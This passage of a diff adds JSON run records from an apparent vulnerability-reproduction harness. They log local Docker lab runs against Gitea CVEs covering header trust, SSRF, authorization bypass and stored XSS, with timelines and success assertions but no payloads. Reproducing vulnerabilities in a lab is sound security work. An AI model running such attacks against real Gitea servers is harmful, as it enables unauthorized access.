    +      "artifact_source": {
    +        "strategy": "local-minimal-fixture"
    +      },
    +      "success_criteria": [
    +        "Local fixture proves trusted proxy headers cross the admin boundary."
    +      ],
    +      "seed_actions": [
    +        {
    +          "kind": "note",
    +          "message": "Seed forwarded-header boundary fixture with clean state."
    +        }
    +      ],
    +      "attack_actions": [
    +        {
    +          "kind": "note",
    +          "message": "Runner performs local forwarded-header trust proof only inside the fixture."
    +        }
    +      ],
    +      "browser_assertions": {
    +        "required": true
    +      },
    +      "allowed_target_types": [
    +        "lab-local"
    +      ],
    +      "required_services": [
    +        "app"
    +      ]
    +    },
    +    "reasoning_lines": [
    +      "Seed forwarded-header boundary fixture with clean state.",
    +      "Runner performs local forwarded-header trust proof only inside the fixture.",
    +      "Local fixture proves trusted proxy headers cross the admin boundary."
    +    ],
    +    "progress": {
    +      "completed": 12,
    +      "skipped": 0,
    +      "failed": 0,
    +      "blocked": 0,
    +      "planned": 0,
    +      "other": 1
    +    },
    +    "artifact_groups": [
    +      {
    +        "key": "reports",
    +        "label": "\u62a5\u544a\u4e0e\u8fd0\u884c\u4ea7\u7269",
    +        "count": 4,
    +        "items": [
    +          {
    +            "href": "/runs/gitea-gitea--CVE-2020-13246-20260318012806/report.html",
    +            "label": "report.html",
    +            "kind": "text"
    +          },
    +          {
    +            "href": "/runs/gitea-gitea--CVE-2020-13246-20260318012806/report.md",
    +            "label": "report.md",
    +            "kind": "text"
    +          },
    +          {
    +            "href": "/runs/gitea-gitea--CVE-2020-13246-20260318012806/timeline.mmd",
    +            "label": "timeline.mmd",
    +            "kind": "text"
    +          },
    +          {
    +            "href": "/runs/gitea-gitea--CVE-2020-13246-20260318012806/run.json",
    +            "label": "run.json",
    +            "kind": "text"
    +          }
    +        ]
    +      },
    +      {
    +        "key": "compose",
    +        "label": "Compose \u7f16\u6392",
    +        "count": 1,
    +        "items": [
    +          {
    +            "href": "/runs/gitea-gitea--CVE-2020-13246-20260318012806/compose/compose.yaml",
    +            "label": "compose.yaml",
    +            "kind": "text"
    +          }
    +        ]
    +      },
    +      {
    +        "key": "baseline",
    +        "label": "\u57fa\u7ebf\u5feb\u7167",
    +        "count": 1,
    +        "items": [
    +          {
    +            "href": "/runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/baseline.json",
    +            "label": "baseline.json",
    +            "kind": "text"
    +          }
    +        ]
    +      },
    +      {
    +        "key": "attack",
    +        "label": "\u653b\u51fb\u8f93\u51fa",
    +        "count": 1,
    +        "items": [
    +          {
    +            "href": "/runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/attack.json",
    +            "label": "attack.json",
    +            "kind": "text"
    +          }
    +        ]
    +      },
    +      {
    +        "key": "browser",
    +        "label": "\u6d4f\u89c8\u5668\u8bc1\u636e",
    +        "count": 10,
    +        "items": [
    +          {
    +            "href": "/runs/gitea-gitea--CVE-2020-13246-20260318012806/assets/baseline.png",
    +            "label": "baseline.png",
    +            "kind": "image"
    +          },
    +          {
    +            "href": "/runs/gitea-gitea--CVE-2020-13246-20260318012806/assets/baseline-dom.html",
    +            "label": "baseline-dom.html",
    +            "kind": "text"
    +          },
    +          {
    +            "href": "/runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/baseline-console.json",
    +            "label": "baseline-console.json",
    +            "kind": "text"
    +          },
    +          {
    +            "href": "/runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/baseline-network.json",
    +            "label": "baseline-network.json",
    +            "kind": "text"
    +          },
    +          {
    +            "href": "/runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/baseline-page.json",
    +            "label": "baseline-page.json",
    +            "kind": "text"
    +          },
    +          {
    +            "href": "/runs/gitea-gitea--CVE-2020-13246-20260318012806/assets/proof.png",
    +            "label": "proof.png",
    +            "kind": "image"
    +          },
    +          {
    +            "href": "/runs/gitea-gitea--CVE-2020-13246-20260318012806/assets/proof-dom.html",
    +            "label": "proof-dom.html",
    +            "kind": "text"
    +          },
    +          {
    +            "href": "/runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/proof-console.json",
    +            "label": "proof-console.json",
    +            "kind": "text"
    +          },
    +          {
    +            "href": "/runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/proof-network.json",
    +            "label": "proof-network.json",
    +            "kind": "text"
    +          },
    +          {
    +            "href": "/runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/proof-page.json",
    +            "label": "proof-page.json",
    +            "kind": "text"
    +          }
    +        ]
    +      },
    +      {
    +        "key": "container",
    +        "label": "\u5bb9\u5668\u65e5\u5fd7",
    +        "count": 1,
    +        "items": [
    +          {
    +            "href": "/runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/docker/app.log",
    +            "label": "app.log",
    +            "kind": "text"
    +          }
    +        ]
    +      },
    +      {
    +        "key": "requests",
    +        "label": "\u8bf7\u6c42\u4e0e\u63a2\u6d4b\u65e5\u5fd7",
    +        "count": 1,
    +        "items": [
    +          {
    +            "href": "/runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/attack.json",
    +            "label": "attack.json",
    +            "kind": "text"
    +          }
    +        ]
    +      }
    +    ]
    +  },
    +  {
    +    "run_id": "gitea-gitea--CVE-2018-15192-20260318012749",
    +    "system_id": "gitea",
    +    "advisory_id": "gitea--CVE-2018-15192",
    +    "repro_profile_id": "gitea-ssrf",
    +    "verification_status": "verified-real",
    +    "verification_mode": "real",
    +    "artifact_mode": "local-fixture",
    +    "target_env": "local-docker",
    +    "compose_services": [
    +      "app"
    +    ],
    +    "baseline_refs": [
    +      "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-15192-20260318012749/logs/baseline.json"
    +    ],
    +    "attack_steps": [
    +      {
    +        "kind": "runner",
    +        "tool": "gitea.ssrf",
    +        "status": "completed",
    +        "status_code": 200,
    +        "result_path": "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-15192-20260318012749/logs/attack.json"
    +      }
    +    ],
    +    "browser_refs": [],
    +    "browser_evidence": {
    +      "required": false,
    +      "present": false,
    +      "refs": [],
    +      "baseline_refs": [],
    +      "proof_refs": [],
    +      "baseline_title": null,
    +      "proof_title": null,
    +      "error_kind": null,
    +      "reason": null
    +    },
    +    "container_log_refs": [
    +      "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-15192-20260318012749/logs/docker/app.log"
    +    ],
    +    "request_log_refs": [
    +      "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-15192-20260318012749/logs/attack.json",
    +      "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-15192-20260318012749/logs/baseline.json"
    +    ],
    +    "compose_refs": [
    +      "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-15192-20260318012749/compose/compose.yaml"
    +    ],
    +    "timeline": [
    +      {
    +        "at": "2026-03-18T01:27:49+00:00",
    +        "step": "select-advisory",
    +        "status": "completed",
    +        "detail": "gitea--CVE-2018-15192"
    +      },
    +      {
    +        "at": "2026-03-18T01:27:49+00:00",
    +        "step": "resolve-repro-profile",
    +        "status": "completed",
    +        "detail": "gitea-ssrf"
    +      },
    +      {
    +        "at": "2026-03-18T01:27:49+00:00",
    +        "step": "doctor",
    +        "status": "completed",
    +        "detail": "all checks passed"
    +      },
    +      {
    +        "at": "2026-03-18T01:27:52+00:00",
    +        "step": "provision-compose-environment",
    +        "status": "ready",
    +        "detail": ""
    +      },
    +      {
    +        "at": "2026-03-18T01:27:52+00:00",
    +        "step": "wait-ready",
    +        "status": "completed",
    +        "detail": "baseline urls ready (1)"
    +      },
    +      {
    +        "at": "2026-03-18T01:27:52+00:00",
    +        "step": "seed-environment",
    +        "status": "completed",
    +        "detail": "steps=1"
    +      },
    +      {
    +        "at": "2026-03-18T01:27:52+00:00",
    +        "step": "baseline-snapshot",
    +        "status": "completed",
    +        "detail": "urls=1"
    +      },
    +      {
    +        "at": "2026-03-18T01:27:52+00:00",
    +        "step": "controlled-attack-chain",
    +        "status": "completed",
    +        "detail": "steps=1"
    +      },
    +      {
    +        "at": "2026-03-18T01:27:52+00:00",
    +        "step": "collect-logs-and-evidence",
    +        "status": "completed",
    +        "detail": "container_logs=1"
    +      },
    +      {
    +        "at": "2026-03-18T01:27:54+00:00",
    +        "step": "cleanup-compose-environment",
    +        "status": "completed",
    +        "detail": "docker compose down completed"
    +      },
    +      {
    +        "at": "2026-03-18T01:27:54+00:00",
    +        "step": "update-registry-and-reports",
    +        "status": "completed",
    +        "detail": "gitea-gitea--CVE-2018-15192-20260318012749"
    +      }
    +    ],
    +    "success_evaluation": {
    +      "passed": true,
    +      "verification_status": "verified-real",
    +      "blocked_reason": null,
    +      "assertions": [
    +        {
    +          "name": "baseline-ok",
    +          "kind": "baseline-ok",
    +          "passed": true,
    +          "detail": "baseline URLs responded without 5xx or transport errors"
    +        },
    +        {
    +          "name": "runner-success",
    +          "kind": "runner-success",
    +          "passed": true,
    +          "detail": "server-side callback reached the local sink"
    +        }
    +      ]
    +    },
    +    "historical_status": "verified-real",
    +    "latest_status": "verified-real",
    +    "started_at": "2026-03-18T01:27:49+00:00",
    +    "finished_at": "2026-03-18T01:27:54+00:00",
    +    "blocked_reason": null,
    +    "report_refs": {
    +      "bundle_dir": "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-15192-20260318012749",
    +      "report_md": "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-15192-20260318012749/report.md",
    +      "report_html": "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-15192-20260318012749/report.html",
    +      "timeline": "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-15192-20260318012749/timeline.mmd"
    +    },
    +    "dashboard_refs": {
    +      "report_html": "/runs/gitea-gitea--CVE-2018-15192-20260318012749/report.html",
    +      "report_md": "/runs/gitea-gitea--CVE-2018-15192-20260318012749/report.md",
    +      "timeline": "/runs/gitea-gitea--CVE-2018-15192-20260318012749/timeline.mmd",
    +      "bundle": "/runs/gitea-gitea--CVE-2018-15192-20260318012749/run.json"
    +    },
    +    "browser_links": [],
    +    "container_links": [
    +      "/runs/gitea-gitea--CVE-2018-15192-20260318012749/logs/docker/app.log"
    +    ],
    +    "request_links": [
    +      "/runs/gitea-gitea--CVE-2018-15192-20260318012749/logs/attack.json",
    +      "/runs/gitea-gitea--CVE-2018-15192-20260318012749/logs/baseline.json"
    +    ],
    +    "advisory_meta": {},
    +    "profile_meta": {
    +      "profile_id": "gitea-ssrf",
    +      "vuln_family": "ssrf",
    +      "provisioning_mode": "real",
    +      "destructive_risk": "low",
    +      "cleanup_policy": "destroy",
    +      "artifact_source": {
    +        "strategy": "local-minimal-fixture"
    +      },
    +      "success_criteria": [
    +        "Server-side callback reaches the local sink and is recorded in proof output."
    +      ],
    +      "seed_actions": [
    +        {
    +          "kind": "note",
    +          "message": "Seed local sink counters only."
    +        }
    +      ],
    +      "attack_actions": [
    +        {
    +          "kind": "note",
    +          "message": "Runner triggers callback strictly to local sink endpoint."
    +        }
    +      ],
    +      "browser_assertions": {
    +        "required": false
    +      },
    +      "allowed_target_types": [
    +        "lab-local"
    +      ],
    +      "required_services": [
    +        "app"
    +      ]
    +    },
    +    "reasoning_lines": [
    +      "Seed local sink counters only.",
    +      "Runner triggers callback strictly to local sink endpoint.",
    +      "Server-side callback reaches the local sink and is recorded in proof output."
    +    ],
    +    "progress": {
    +      "completed": 10,
    +      "skipped": 0,
    +      "failed": 0,
    +      "blocked": 0,
    +      "planned": 0,
    +      "other": 1
    +    },
    +    "artifact_groups": [
    +      {
    +        "key": "reports",
    +        "label": "\u62a5\u544a\u4e0e\u8fd0\u884c\u4ea7\u7269",
    +        "count": 4,
    +        "items": [
    +          {
    +            "href": "/runs/gitea-gitea--CVE-2018-15192-20260318012749/report.html",
    +            "label": "report.html",
    +            "kind": "text"
    +          },
    +          {
    +            "href": "/runs/gitea-gitea--CVE-2018-15192-20260318012749/report.md",
    +            "label": "report.md",
    +            "kind": "text"
    +          },
    +          {
    +            "href": "/runs/gitea-gitea--CVE-2018-15192-20260318012749/timeline.mmd",
    +            "label": "timeline.mmd",
    +            "kind": "text"
    +          },
    +          {
    +            "href": "/runs/gitea-gitea--CVE-2018-15192-20260318012749/run.json",
    +            "label": "run.json",
    +            "kind": "text"
    +          }
    +        ]
    +      },
    +      {
    +        "key": "compose",
    +        "label": "Compose \u7f16\u6392",
    +        "count": 1,
    +        "items": [
    +          {
    +            "href": "/runs/gitea-gitea--CVE-2018-15192-20260318012749/compose/compose.yaml",
    +            "label": "compose.yaml",
    +            "kind": "text"
    +          }
    +        ]
    +      },
    +      {
    +        "key": "baseline",
    +        "label": "\u57fa\u7ebf\u5feb\u7167",
    +        "count": 1,
    +        "items": [
    +          {
    +            "href": "/runs/gitea-gitea--CVE-2018-15192-20260318012749/logs/baseline.json",
    +            "label": "baseline.json",
    +            "kind": "text"
    +          }
    +        ]
    +      },
    +      {
    +        "key": "attack",
    +        "label": "\u653b\u51fb\u8f93\u51fa",
    +        "count": 1,
    +        "items": [
    +          {
    +            "href": "/runs/gitea-gitea--CVE-2018-15192-20260318012749/logs/attack.json",
    +            "label": "attack.json",
    +            "kind": "text"
    +          }
    +        ]
    +      },
    +      {
    +        "key": "container",
    +        "label": "\u5bb9\u5668\u65e5\u5fd7",
    +        "count": 1,
    +        "items": [
    +          {
    +            "href": "/runs/gitea-gitea--CVE-2018-15192-20260318012749/logs/docker/app.log",
    +            "label": "app.log",
    +            "kind": "text"
    +          }
    +        ]
    +      },
    +      {
    +        "key": "requests",
    +        "label": "\u8bf7\u6c42\u4e0e\u63a2\u6d4b\u65e5\u5fd7",
    +        "count": 1,
    +        "items": [
    +          {
    +            "href": "/runs/gitea-gitea--CVE-2018-15192-20260318012749/logs/attack.json",
    +            "label": "attack.json",
    +            "kind": "text"
    +          }
    +        ]
    +      }
    +    ]
    +  },
    +  {
    +    "run_id": "gitea-gitea--CVE-2025-68940-20260318012708",
    +    "system_id": "gitea",
    +    "advisory_id": "gitea--CVE-2025-68940",
    +    "repro_profile_id": "gitea-authz-bypass",
    +    "verification_status": "verified-real",
    +    "verification_mode": "real",
    +    "artifact_mode": "local-fixture",
    +    "target_env": "local-docker",
    +    "compose_services": [
    +      "app"
    +    ],
    +    "baseline_refs": [
    +      "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2025-68940-20260318012708/logs/baseline.json"
    +    ],
    +    "attack_steps": [
    +      {
    +        "kind": "runner",
    +        "tool": "gitea.authz-bypass",
    +        "status": "completed",
    +        "status_code": 200,
    +        "result_path": "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2025-68940-20260318012708/logs/attack.json"
    +      }
    +    ],
    +    "browser_refs": [],
    +    "browser_evidence": {
    +      "required": false,
    +      "present": false,
    +      "refs": [],
    +      "baseline_refs": [],
    +      "proof_refs": [],
    +      "baseline_title": null,
    +      "proof_title": null,
    +      "error_kind": null,
    +      "reason": null
    +    },
    +    "container_log_refs": [
    +      "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2025-68940-20260318012708/logs/docker/app.log"
    +    ],
    +    "request_log_refs": [
    +      "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2025-68940-20260318012708/logs/attack.json",
    +      "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2025-68940-20260318012708/logs/baseline.json"
    +    ],
    +    "compose_refs": [
    +      "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2025-68940-20260318012708/compose/compose.yaml"
    +    ],
    +    "timeline": [
    +      {
    +        "at": "2026-03-18T01:27:08+00:00",
    +        "step": "select-advisory",
    +        "status": "completed",
    +        "detail": "gitea--CVE-2025-68940"
    +      },
    +      {
    +        "at": "2026-03-18T01:27:08+00:00",
    +        "step": "resolve-repro-profile",
    +        "status": "completed",
    +        "detail": "gitea-authz-bypass"
    +      },
    +      {
    +        "at": "2026-03-18T01:27:08+00:00",
    +        "step": "doctor",
    +        "status": "completed",
    +        "detail": "all checks passed"
    +      },
    +      {
    +        "at": "2026-03-18T01:27:11+00:00",
    +        "step": "provision-compose-environment",
    +        "status": "ready",
    +        "detail": ""
    +      },
    +      {
    +        "at": "2026-03-18T01:27:11+00:00",
    +        "step": "wait-ready",
    +        "status": "completed",
    +        "detail": "baseline urls ready (1)"
    +      },
    +      {
    +        "at": "2026-03-18T01:27:11+00:00",
    +        "step": "seed-environment",
    +        "status": "completed",
    +        "detail": "steps=1"
    +      },
    +      {
    +        "at": "2026-03-18T01:27:11+00:00",
    +        "step": "baseline-snapshot",
    +        "status": "completed",
    +        "detail": "urls=1"
    +      },
    +      {
    +        "at": "2026-03-18T01:27:11+00:00",
    +        "step": "controlled-attack-chain",
    +        "status": "completed",
    +        "detail": "steps=1"
    +      },
    +      {
    +        "at": "2026-03-18T01:27:11+00:00",
    +        "step": "collect-logs-and-evidence",
    +        "status": "completed",
    +        "detail": "container_logs=1"
    +      },
    +      {
    +        "at": "2026-03-18T01:27:12+00:00",
    +        "step": "cleanup-compose-environment",
    +        "status": "completed",
    +        "detail": "docker compose down completed"
    +      },
    +      {
    +        "at": "2026-03-18T01:27:12+00:00",
    +        "step": "update-registry-and-reports",
    +        "status": "completed",
    +        "detail": "gitea-gitea--CVE-2025-68940-20260318012708"
    +      }
    +    ],
    +    "success_evaluation": {
    +      "passed": true,
    +      "verification_status": "verified-real",
    +      "blocked_reason": null,
    +      "assertions": [
    +        {
    +          "name": "baseline-ok",
    +          "kind": "baseline-ok",
    +          "passed": true,
    +          "detail": "baseline URLs responded without 5xx or transport errors"
    +        },
    +        {
    +          "name": "runner-success",
    +          "kind": "runner-success",
    +          "passed": true,
    +          "detail": "server-side authorization recheck was bypassed"
    +        }
    +      ]
    +    },
    +    "historical_status": "verified-real",
    +    "latest_status": "verified-real",
    +    "started_at": "2026-03-18T01:27:08+00:00",
    +    "finished_at": "2026-03-18T01:27:12+00:00",
    +    "blocked_reason": null,
    +    "report_refs": {
    +      "bundle_dir": "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2025-68940-20260318012708",
    +      "report_md": "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2025-68940-20260318012708/report.md",
    +      "report_html": "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2025-68940-20260318012708/report.html",
    +      "timeline": "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2025-68940-20260318012708/timeline.mmd"
    +    },
    +    "dashboard_refs": {
    +      "report_html": "/runs/gitea-gitea--CVE-2025-68940-20260318012708/report.html",
    +      "report_md": "/runs/gitea-gitea--CVE-2025-68940-20260318012708/report.md",
    +      "timeline": "/runs/gitea-gitea--CVE-2025-68940-20260318012708/timeline.mmd",
    +      "bundle": "/runs/gitea-gitea--CVE-2025-68940-20260318012708/run.json"
    +    },
    +    "browser_links": [],
    +    "container_links": [
    +      "/runs/gitea-gitea--CVE-2025-68940-20260318012708/logs/docker/app.log"
    +    ],
    +    "request_links": [
    +      "/runs/gitea-gitea--CVE-2025-68940-20260318012708/logs/attack.json",
    +      "/runs/gitea-gitea--CVE-2025-68940-20260318012708/logs/baseline.json"
    +    ],
    +    "advisory_meta": {},
    +    "profile_meta": {
    +      "profile_id": "gitea-authz-bypass",
    +      "vuln_family": "authz-bypass",
    +      "provisioning_mode": "real",
    +      "destructive_risk": "low",
    +      "cleanup_policy": "destroy",
    +      "artifact_source": {
    +        "strategy": "local-minimal-fixture"
    +      },
    +      "success_criteria": [
    +        "Controlled guest request reaches the protected admin route inside the fixture."
    +      ],
    +      "seed_actions": [
    +        {
    +          "kind": "note",
    +          "message": "Seed low-privilege and admin boundary fixture state."
    +        }
    +      ],
    +      "attack_actions": [
    +        {
    +          "kind": "note",
    +          "message": "Runner verifies guest-to-admin bypass only inside fixture route."
    +        }
    +      ],
    +      "browser_assertions": {
    +        "required": false
    +      },
    +      "allowed_target_types": [
    +        "lab-local"
    +      ],
    +      "required_services": [
    +        "app"
    +      ]
    +    },
    +    "reasoning_lines": [
    +      "Seed low-privilege and admin boundary fixture state.",
    +      "Runner verifies guest-to-admin bypass only inside fixture route.",
    +      "Controlled guest request reaches the protected admin route inside the fixture."
    +    ],
    +    "progress": {
    +      "completed": 10,
    +      "skipped": 0,
    +      "failed": 0,
    +      "blocked": 0,
    +      "planned": 0,
    +      "other": 1
    +    },
    +    "artifact_groups": [
    +      {
    +        "key": "reports",
    +        "label": "\u62a5\u544a\u4e0e\u8fd0\u884c\u4ea7\u7269",
    +        "count": 4,
    +        "items": [
    +          {
    +            "href": "/runs/gitea-gitea--CVE-2025-68940-20260318012708/report.html",
    +            "label": "report.html",
    +            "kind": "text"
    +          },
    +          {
    +            "href": "/runs/gitea-gitea--CVE-2025-68940-20260318012708/report.md",
    +            "label": "report.md",
    +            "kind": "text"
    +          },
    +          {
    +            "href": "/runs/gitea-gitea--CVE-2025-68940-20260318012708/timeline.mmd",
    +            "label": "timeline.mmd",
    +            "kind": "text"
    +          },
    +          {
    +            "href": "/runs/gitea-gitea--CVE-2025-68940-20260318012708/run.json",
    +            "label": "run.json",
    +            "kind": "text"
    +          }
    +        ]
    +      },
    +      {
    +        "key": "compose",
    +        "label": "Compose \u7f16\u6392",
    +        "count": 1,
    +        "items": [
    +          {
    +            "href": "/runs/gitea-gitea--CVE-2025-68940-20260318012708/compose/compose.yaml",
    +            "label": "compose.yaml",
    +            "kind": "text"
    +          }
    +        ]
    +      },
    +      {
    +        "key": "baseline",
    +        "label": "\u57fa\u7ebf\u5feb\u7167",
    +        "count": 1,
    +        "items": [
    +          {
    +            "href": "/runs/gitea-gitea--CVE-2025-68940-20260318012708/logs/baseline.json",
    +            "label": "baseline.json",
    +            "kind": "text"
    +          }
    +        ]
    +      },
    +      {
    +        "key": "attack",
    +        "label": "\u653b\u51fb\u8f93\u51fa",
    +        "count": 1,
    +        "items": [
    +          {
    +            "href": "/runs/gitea-gitea--CVE-2025-68940-20260318012708/logs/attack.json",
    +            "label": "attack.json",
    +            "kind": "text"
    +          }
    +        ]
    +      },
    +      {
    +        "key": "container",
    +        "label": "\u5bb9\u5668\u65e5\u5fd7",
    +        "count": 1,
    +        "items": [
    +          {
    +            "href": "/runs/gitea-gitea--CVE-2025-68940-20260318012708/logs/docker/app.log",
    +            "label": "app.log",
    +            "kind": "text"
    +          }
    +        ]
    +      },
    +      {
    +        "key": "requests",
    +        "label": "\u8bf7\u6c42\u4e0e\u63a2\u6d4b\u65e5\u5fd7",
    +        "count": 1,
    +        "items": [
    +          {
    +            "href": "/runs/gitea-gitea--CVE-2025-68940-20260318012708/logs/attack.json",
    +            "label": "attack.json",
    +            "kind": "text"
    +          }
    +        ]
    +      }
    +    ]
    +  },
    +  {
    +    "run_id": "gitea-gitea--CVE-2019-1010261-20260318012624",
    +    "system_id": "gitea",
    +    "advisory_id": "gitea--CVE-2019-1010261",
    +    "repro_profile_id": "gitea-xss",
    +    "verification_status": "verified-real",
    +    "verification_mode": "real",
    +    "artifact_mode": "local-fixture",
    +    "target_env": "local-docker",
    +    "compose_services": [
    +      "app"
    +    ],
    +    "baseline_refs": [
    +      "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/baseline.json"
    +    ],
    +    "attack_steps": [
    +      {
    +        "kind": "runner",
    +        "tool": "gitea.xss",
    +        "status": "completed",
    +        "status_code": 200,
    +        "result_path": "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/attack.json"
    +      }
    +    ],
    +    "browser_refs": [
    +      "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/assets/baseline.png",
    +      "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/assets/baseline-dom.html",
    +      "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/baseline-console.json",
    +      "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/baseline-network.json",
    +      "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/baseline-page.json",
    +      "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/assets/proof.png",
    +      "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/assets/proof-dom.html",
    +      "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/proof-console.json",
    +      "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/proof-network.json",
    +      "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/proof-page.json"
    +    ],
    +    "browser_evidence": {
    +      "required": true,
    +      "present": true,
    +      "refs": [
    +        "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/assets/baseline.png",
    +        "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/assets/baseline-dom.html",
    +        "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/baseline-console.json",
    +        "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/baseline-network.json",
    +        "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/baseline-page.json",
    +        "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/assets/proof.png",
    +        "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/assets/proof-dom.html",
    +        "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/proof-console.json",
    +        "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/proof-network.json",
    +        "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/proof-page.json"
    +      ],
    +      "baseline_refs": [
    +        "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/assets/baseline.png",
    +        "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/assets/baseline-dom.html",
    +        "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/baseline-console.json",
    +        "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/baseline-network.json",
    +        "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/baseline-page.json"
    +      ],
    +      "proof_refs": [
    +        "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/assets/proof.png",
    +        "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/assets/proof-dom.html",
    +        "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/proof-console.json",
    +        "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/proof-network.json",
    +        "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/proof-page.json"
    +      ],
    +      "baseline_title": "Gitea Stored XSS Fixture",
    +      "proof_title": "Gitea Stored XSS Fixture - proof",
    +      "error_kind": null,
    +      "reason": null
    +    },
    +    "container_log_refs": [
    +      "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/docker/app.log"
    +    ],
    +    "request_log_refs": [
    +      "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/attack.json",
    +      "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/baseline.json"
    +    ],
    +    "compose_refs": [
    +      "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/compose/compose.yaml"
    +    ],
    +    "timeline": [
    +      {
    +        "at": "2026-03-18T01:26:24+00:00",
    +        "step": "select-advisory",
    +        "status": "completed",
    +        "detail": "gitea--CVE-2019-1010261"
    +      },
    +      {
    +        "at": "2026-03-18T01:26:24+00:00",
    +        "step": "resolve-repro-profile",
    +        "status": "completed",
    +        "detail": "gitea-xss"
    +      },
    +      {
    +        "at": "2026-03-18T01:26:24+00:00",
    +        "step": "doctor",
    +        "status": "completed",
    +        "detail": "all checks passed"
    +      },
    +      {
    +        "at": "2026-03-18T01:26:27+00:00",
    +        "step": "provision-compose-environment",
    +        "status": "ready",
    +        "detail": ""
    +      },
    +      {
    +        "at": "2026-03-18T01:26:27+00:00",
    +        "step": "wait-ready",
    +        "status": "completed",
    +        "detail": "baseline urls ready (1)"
    +      },
    +      {
    +        "at": "2026-03-18T01:26:27+00:00",
    +        "step": "seed-environment",
    +        "status": "completed",
    +        "detail": "steps=1"
    +      },
    +      {
    +        "at": "2026-03-18T01:26:27+00:00",
    +        "step": "baseline-snapshot",
    +        "status": "completed",
    +        "detail": "urls=1"
    +      },
    +      {
    +        "at": "2026-03-18T01:26:28+00:00",
    +        "step": "browser-replay-before-attack",
    +        "status": "completed",
    +        "detail": ""
    +      },
    +      {
    +        "at": "2026-03-18T01:26:28+00:00",
